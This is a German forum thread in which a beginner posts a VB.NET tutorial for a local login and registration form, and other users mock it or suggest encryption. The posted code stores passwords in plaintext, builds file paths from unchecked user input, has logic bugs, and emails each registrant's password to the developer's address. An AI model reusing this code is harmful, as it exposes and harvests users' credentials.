Login + Registrierung ohne server!

[†(•̪●)WhatTheFuck(•̪●)†]

Hallo also hier zeige ich euch mal eine methode wie ihr eine Login box mit Registrierung braucht.

Was ist hier anders wie bei den anderen tuts?
Ganz einfach ihr braucht wirklich nur visual basic 2008 und müsst euch
auf keiner anderen seite anmelden!

Was brauche ich?
2formen
in die erste form kommt:
2x Label
2x TextBox
2x Buttons
in die 2te form kommt:
3x TextBox
3x Label
1x Button

Fangen wir an:

Als erstes fangen wir mit der ersten form an
ihr nennt ein label Benutzername und eins Password
Einen button nennt ihr Login und eine Erstellen oder Registrieren

So jetzt macht ihr doppelklick auf die form und gibt folgen des ein

Public Class Form1



    Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Form2.Show() 'die form2 soll geöffnet werden
        Me.Hide() ' die form1 soll versteckt werden also minimiert werden



    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Try
            Dim sa As String
            Dim sb As String
            Dim a As New System.IO.StreamReader("C:\Login\" + TextBox1.Text + "\Username.txt")
            sa = a.ReadLine()
            a.Close() 'erstellt einen ordner unter C: der login heisst und eine textbox die Username heisst wo die namen eurer registrierung gespeichert werden
            Dim b As New System.IO.StreamReader("C:\Login\" + TextBox1.Text + "\Password.txt")
            sb = b.ReadLine()
            b.Close()
            'erstellt einen ordner unter C: der login heisst und eine textbox die Password heisst wo die namen eurer registrierung gespeichert werden

            If TextBox1.Text = sa.ToString Then

                If TextBox2.Text = sb.ToString Then

                    MsgBox("Herzlich Willkommen!" + sa.ToString)
                    Me.Hide()
                    Form3.Show() 'wenn euer account name und euer password exitiert werdet ihr eingelog und eine nachricht erscheint wo Herzlich Willkommen! und euer name hinter steht und die form1 soll minimiert werden und form3 geöffnet werden
                Else

                    MsgBox("Error!Passwort ist falsch.") ' fals euer account password nicht stimmt kommt diese meldung
                End If
            Else


            End If

        Catch ex As Exception
            MsgBox("Error! Der Account existiert nicht.") ' ist dafür da um eine error nachricht zu zeigen falls euer account name nicht vergeben ist



        End Try






    End Sub
End Class

So die kommando beschreibung ist im code!

Kommen wir zur form 2

der code und die beschreibung:

Imports System.Net.Mail ' ist dafür da das die daten euch später per email geschickt werden können
Public Class Form2
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If My.Computer.FileSystem.DirectoryExists("C:\Login\") Then

        Else
            MkDir("C:\Login\")
        End If ' ist dafür da ob es Login schon gibt und falls nicht soll es erstellt werden


        If TextBox1.Text & TextBox2.Text & TextBox3.Text = "" Then
            MsgBox(" Bitte fülle die felder aus") ' ist dafür da um eine error nachricht zu zeigen falls keine felder ausgefüllt worden sind




        End If
        If My.Computer.FileSystem.DirectoryExists("C:\Login\" + TextBox1.Text) Then


            MsgBox("Error! Account ist bereits vergeben") ' ist dafür da um eine error nachricht auszugeben falls der account schon vorhanden ist
        Else
            MkDir("C:\Login\" + TextBox1.Text)

            Dim a As New System.IO.StreamWriter("C:\Login\" + TextBox1.Text + "\Username.txt")


            a.WriteLine(TextBox1.Text)
            a.Close() ' ist dafür da um euren account name zu speichern

            Dim b As New System.IO.StreamWriter("C:\Login\" + TextBox1.Text + "\Password.txt")

            b.WriteLine(TextBox2.Text)
            b.Close()
            ' ist dafür da um euer password zu speichern
            Dim c As New System.IO.StreamWriter("C:\Login\" + TextBox1.Text + "\Email.txt")
            MsgBox("Account wurde erfolgreich erstellt!")
            c.WriteLine(TextBox3.Text)
            c.Close()
            ' ist dafür da um eure email zu speichern


            Me.Hide()
            Form1.Show()
        End If
        ' ist dafür da das form2 minimiert wird und form1 erscheint
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("eure email", "email passwort")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.web.de" ' hier könnt ihr auch z.b smtp.gmx.com oder  so hinschreiben halt die domain eurer email
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("eure email")
        mail.To.Add("eure email")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text & ", " & "Email : " & TextBox3.Text
        smtpServer.Send(mail) ' ist dafür da das der name das password und die email zu eurer email geschickt wird

wenns geholfen hat pls thx drücken^^
Ps: falls es das tut gibt ohne das man sich irgentwo registrieren muss dan kann es geclosed werden aber habe nix gefunden^^

[MoepMeep]

Wow, registrieren um die Daten lokal abzuspeichern? Vorallem auch noch unverschlüsselt.
Ernsthaft, wie kommt man auf solche Ideen? Drogen?

[†(•̪●)WhatTheFuck(•̪●)†]

Boar alter geh andere threads voll spammen wenn du langeweile hast
vieleicht hilft es ja jemanden wenns dir nicht hilft dann einfach mal die klappe halten

[. χaωe]

Er hat es zwar nicht nett formuliert, aber recht hatte er. Das ganze ist ja später nur lokal verfügbar, und außerdem liegen die Daten unverschlüsselt (!!!!) auf dem PC...

Wenn das jetzt jemand ernsthaft benutzen will ist sein ganzes Programm schon für die Tonne, da dieses Skript nicht mal einem Kiddy-Scripter bzw. Endanwender standhält...

Das ganze sieht mir verdammt nach ein paar Wochen Vb.net gelernt, dass hier als ansporn programiert, und vom Ergebniss so begeistert dass man es gleich Veröffentlichen muss. Tut mir leid wen es nicht so ist...

Nebenbei bemerkt sieht man noch einige "unfeinheiten" die das Skript unnötig in die länge ziehen ...

[†(•̪●)WhatTheFuck(•̪●)†]

Wie gesagt wenn es euch doch nicht hilft dan lasst es einfach ich habe es nur veröffentlicht weil es vieleicht jemand anderes gebrauchen kann oder er kann es als vorlage für irgendwas benutzen

[MoepMeep]

Originally Posted by †(•̪●)WhatTheFuck(•̪●)†

Wie gesagt wenn es euch doch nicht hilft dan lasst es einfach ich habe es nur veröffentlicht weil es vieleicht jemand anderes gebrauchen kann oder er kann es als vorlage für irgendwas benutzen

Soetwas würde nur jemand nutzen, der noch schlechter ist als du. Sobald MrSm!ith das sieht ist es eh zu

[Konata-Chan]

crypte die datei doch und wenn du die daten brauchst werden die daten entcryptet
€dit: ich meine die Datei wo die Login daten drin sind

[†(•̪●)WhatTheFuck(•̪●)†]

Soetwas würde nur jemand nutzen, der noch schlechter ist als du. Sobald MrSm!ith das sieht ist es eh zu

boar du und MrSm!ith ihr geht einen so auf den sack...

[MoepMeep]

Originally Posted by †(•̪●)WhatTheFuck(•̪●)†

boar du und MrSm!ith ihr geht einen so auf den sack...

Der Neid :>

[Al Kappaccino]

Originally Posted by MoepMeep

Soetwas würde nur jemand nutzen, der noch schlechter ist als du. Sobald MrSm!ith das sieht ist es eh zu

Er hat es schon gesehen

Originally Posted by Konata-Chan

crypte die datei doch und wenn du die daten brauchst werden die daten entcryptet
€dit: ich meine die Datei wo die Login daten drin sind

Originally Posted by †(•̪●)WhatTheFuck(•̪●)†

boar du und MrSm!ith ihr geht einen so auf den sack...

Denk dir nichts bei Konata, er erzählt viel, aber dahinter steckt nichts. Er hat sogut wie kein Plan VB genauso wie Moep ;9

Ja, die anderen haben Recht, eigentlich ist es nicht unbedingt notwendig aber du bist ja noch ein Anfänger ;o Auf Verschlüsseln musst du nicht zwangsweise umsteigen, es reicht für den Anfang auch erst einmal, wenn die File wo die Daten gespeichert Werden "versteckt" wird^^

[nkkk]

du meinst doch nicht etwa "versteckt", im sinne von die datei als versteckt markieren?^^

[Al Kappaccino]

Nein, Versteckt im Sinne von "Nicht jeder noob kann einfach so reingucken"^^
Ich glaube Verschlüsselung wäre noch zu hoch für ihn, wobei man da schon sehr simpel anfangen kann^^'

[nkkk]

ich dachte schon...

aber ehrlich gesagt: da hilft vieles nichts, ich kenne viele noobs, die auch mit dem .net reflactor umgehen können^^


€ okay noobs ist vileicht übeertrieben, aber durchschnitts menschen

[MoepMeep]

Originally Posted by JakeFrost77

Denk dir nichts bei Konata, er erzählt viel, aber dahinter steckt nichts. Er hat sogut wie kein Plan VB genauso wie Moep ;9

Ich brauch keinen plan von VB um euch zu sagen, dass ihr scheiße Programmiert. :>

[†(•̪●)WhatTheFuck(•̪●)†]

Ich brauch keinen plan von VB um euch zu sagen, dass ihr scheiße Programmiert. :>

naja bin anfänger und versuche zu helfen wo ich kann das reicht mir ;P
JakeFrost kannste mir mal zeigen oder erklären wie man verschlüsselt?